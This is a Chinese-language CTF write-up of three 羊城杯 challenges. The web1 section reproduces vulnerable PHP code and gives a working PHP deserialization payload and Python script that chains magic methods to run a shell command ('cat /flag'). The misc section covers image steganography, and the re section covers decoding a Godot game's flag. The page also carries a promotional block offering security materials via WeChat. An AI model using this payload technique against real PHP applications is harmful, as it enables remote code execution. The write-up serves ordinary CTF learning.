0.前言
好久沒打CTF了,打個羊城杯回顧一下,記錄一下做題過程。
1.web1
給了份php代碼
<?php
error_reporting(0);
highlight_file(__FILE__);
class A {
public $first;
public $step;
public $next;
public function __construct() {
$this->first = "繼續加油!";
}
public function start() {
echo $this->next;
}
}
class E {
private $you;
public $found;
private $secret = "admin123";
public function __get($name){
if($name === "secret") {
echo "<br>".$name." maybe is here!</br>";
$this->found->check();
}
}
}
class F {
public $fifth;
public $step;
public $finalstep;
public function check() {
if(preg_match("/U/",$this->finalstep)) {
echo "仔細想想!";
}
else {
$this->step = new $this->finalstep();
($this->step)();
}
}
}
class H {
public $who;
public $are;
public $you;
public function __construct() {
$this->you = "nobody";
}
public function __destruct() {
$this->who->start();
}
}
class N {
public $congratulation;
public $yougotit;
public function __call(string $func_name, array $args) {
return call_user_func($func_name,$args[0]);
}
}
class U {
public $almost;
public $there;
public $cmd;
public function __construct() {
$this->there = new N();
$this->cmd = $_POST['cmd'];
}
public function __invoke() {
return $this->there->system($this->cmd);
}
}
class V {
public $good;
public $keep;
public $dowhat;
public $go;
public function __toString() {
$abc = $this->dowhat;
$this->go->$abc;
return "<br>Win!!!</br>";
}
}
unserialize($_POST['payload']);
?>
代碼審計後一看就能看到unserialize這個危險函數
unserialize() 函數用於將通過serialize()函數序列化後的對象或數組進行反序列化,並返回原始的對象結構
並且代碼裏面沒有進行任何的過濾和檢驗,那麼如果類中定義了像:
__destruct(),__toString(),__wakeup() __call()、__get()、__invoke() 等這樣的魔術方法,攻擊者就可以通過構造精心的序列化對象,就可以讓
PHP 自動執行任意代碼路徑
而這份代碼裏剛好有一整套可鏈式調用的危險類
首先是class A
public function start() {
echo $this->next;
}
當 echo $this->next 時,若 $this->next 是個對象且定義了 __toString(),則會觸發它
接着是 class E
public function __get($name){
if($name === "secret") {
echo "<br>".$name." maybe is here!</br>";
$this->found->check();
}
}
這會觸發 $this->found->check()
還有class H
public function __destruct() {
$this->who->start();
}
在銷燬時自動調用 $this->who->start()
class U直接進行任意命令執行
public function __invoke() {
return $this->there->system($this->cmd);
}
還有class F class V 也有類似的魔術方法,所以我們可以構造一串序列化對象,讓程序在 unserialize() 時自動觸發這一系列魔術方法,最終執行系統命令,
拿到flag,這就是腳本的思路
import requests
import urllib.parse
url = "" #web1給的目標url
payload_str = 'O:1:"H":3:{s:3:"who";O:1:"A":3:{s:5:"first";N;s:4:"step";N;s:4:"next";O:1:"V":4:{s:4:"good";N;s:4:"keep";N;s:6:"dowhat";s:6:"secret";s:2:"go";O:1:"E":3:{s:6:"\00E\00you";N;s:9:"\00E\00secret";s:8:"admin123";s:5:"found";O:1:"F":3:{s:5:"fifth";N;s:4:"step";N;s:9:"finalstep";s:1:"u";}}}}s:3:"are";N;s:3:"you";N;}'
data = {
"payload": payload_str,
"cmd": "cat /flag"
}
try:
response = requests.post(url, data=data, timeout=10)
print("響應狀態碼:", response.status_code)
print("響應內容:\n", response.text)
except Exception as e:
print("請求錯誤:", e)
用 requests.post 向目標 URL 發起一個表單 POST,請求體包含兩個字段:
-
payload:一個 PHPserialize()格式的字符串(會被服務端unserialize())。 -
cmd:要傳給後續鏈路執行/使用的命令(在原始易受攻擊代碼中會被U類讀取並最終交給system())
然後來依次解釋payload_str
-
最外層:
O:1:"H":3:{ ... }—— 一個H實例,3 個屬性:who,are,you-
who→ 是一個A對象:O:1:"A":3:{ ... }-
A的next字段被設置成一個V對象:O:1:"V":4:{ ... }-
V->dowhat="secret"(注意是字符串"secret") -
V->go→ 是一個E對象:O:1:"E":3:{ ... }-
在
E對象內,你看到\00E\00secret被賦值為"admin123" -
E->found→ 是一個F對象:O:1:"F":3:{ ... }-
F->finalstep被設置為s:1:"u"
-
-
-
-
-
H的其它屬性are、you在 payload 裏是N。
-
簡單點來説,就是payload 手工把 H → A → V → E → F 這樣的對象關係構造出來,並把 F->finalstep 置為 'u',把 V->dowhat 置為 'secret',並把 E
的私有 secret 屬性顯式寫成 "admin123"
那是如何觸發ROP鏈的呢?
首先,服務端會執行 unserialize($_POST['payload']),然後在腳本結束或對象被回收時,H::__destruct() 會自動運行,其中有 $this->who-
>start();,即會調用 A->start()去執行 echo $this->next;
由於 A->next 被設為一個對象 V,echo 會觸發 V::__toString(),而V::__toString() 的操作是內部讀取 $this->dowhat("secret"),然後執行
$this->go->$abc,即 E->secret,訪問該屬性會觸發 E::__get('secret'),E::__get() 在檢測到 $name === "secret" 時會執行 $this->found->check() —— 也就是調用 F::check()
F::check() 會去檢查 preg_match("/U/", $this->finalstep);
-
如果
finalstep包含大寫U,則會不予繼續執行 -
但這裏 payload 把
finalstep設為小寫'u'(s:1:"u"),preg_match("/U/","u") 不匹配,因此繞過了
所以因此 F::check() 會執行:
$this->step = new $this->finalstep();
($this->step)();
這會 new 一個名為 'u' 的類,在 PHP 中類名不區分大小寫,因此 'u' 會解析為 U 類,並隨後把該實例當函數調用,觸發 U::__invoke()
而U::__invoke() 會調用 $this->there->system($this->cmd)
而且,there 被構造為 N,而 N::__call() 會把方法名當作函數名執行(call_user_func($func_name,$args[0])),從而把 system($cmd) 真正執行出來
最後U::__construct() 在構造時會讀取 $_POST['cmd'],即腳本里傳的 "cat /flag",所以最終會對傳入的 cmd 執行
所以成功拿到flag
2.misc-成功男人背後的女人
層層解包之後,發現是一張圖片

這種一般都是圖片裏面隱藏有什麼東西,用010打開看看

發現是mkbt,應該是那種自定義的模塊,上網找找資料
【----幫助網安學習,以下所有學習資料免費領!加vx:YJ-2021-1,備註 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客户端安全檢測指南(安卓+IOS)
發現是adobe fireworks 的專有格式,需要使用fireworks才能看到完整信息
https://zhuanlan.zhihu.com/p/32247127059
打開之後發現一張隱藏圖片

打開看看,發現是帶有一些符號的圖片

一開始還沒有想明白這是什麼東西,直到有師傅提醒説這是二進制,男是1,女是0,就可以轉換為flag了.....
3.re1
拿到題目是個exe文件,先點開看看能不能運行,一運行就看到熟悉的界面,這個界面和圖標太熟悉了!(別問我為什麼會熟悉!)

這是Godot引擎寫的遊戲,所以得去找對應的逆向工具
Godot Re tools
拿工具提取之後,就能發現所有文件的代碼都能看到(這比C逆向好看多了)

在main.gdc文件中發現了一個類似輸出結果分數的函數,懷疑這裏就是flag輸出的地方
當分數達到特定值 7906 時,把字符串 a 按自定義編碼解碼成文本
var bin_chunk = a.substr(i, 12):取出當前的 12 位子串
將這 12 位再分為 三個 4 位子串:
-
hundreds = bin_chunk.substr(0, 4).bin_to_int():把前 4 位當作二進制數(0~15),轉成整數,作百位數字 -
tens = bin_chunk.substr(4, 4).bin_to_int():中間 4 位,當作十位(0~15) -
units = bin_chunk.substr(8, 4).bin_to_int():最後 4 位,當作個位(0~15)
var ascii_value = hundreds * 100 + tens * 10 + units:把三個小數位組組合成一個十進制數,計算方法是 hundreds*100 + tens*10 + units ——
也就是説每 4 位不是直接表示一個十進制數,而是分別代表 ASCII 值的百位、十位、個位
如果三個 4 位分別是 0000, 0001, 0010,那就是 0*100 + 1*10 + 2 = 12 → ASCII 碼 12
result += String.chr(ascii_value):把計算出的十進制作為 ASCII 碼,用 String.chr 轉成字符並追加到 result
循環結束後,$HUD.show_message(result) 在 HUD 上顯示解碼後的整段文本
那腳本編寫就很容易了,因為我們沒時間在遊戲中拿到7906分,所以可以直接把代碼中字符串a的數值拷貝下來,然後再把上述代碼張貼上去,讓它跑字符串a的
數值就可以了,就這麼簡單
a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101"
flag = ""
for i in range(0, len(a), 12):
bin_chunk = a[i:i+12]
hundreds = int(bin_chunk[0:4], 2)
tens = int(bin_chunk[4:8], 2)
units = int(bin_chunk[8:12], 2)
ascii_value = hundreds * 100 + tens * 10 + units
flag += chr(ascii_value)
print(flag)
更多網安技能的在線實操練習,請點擊這裏>>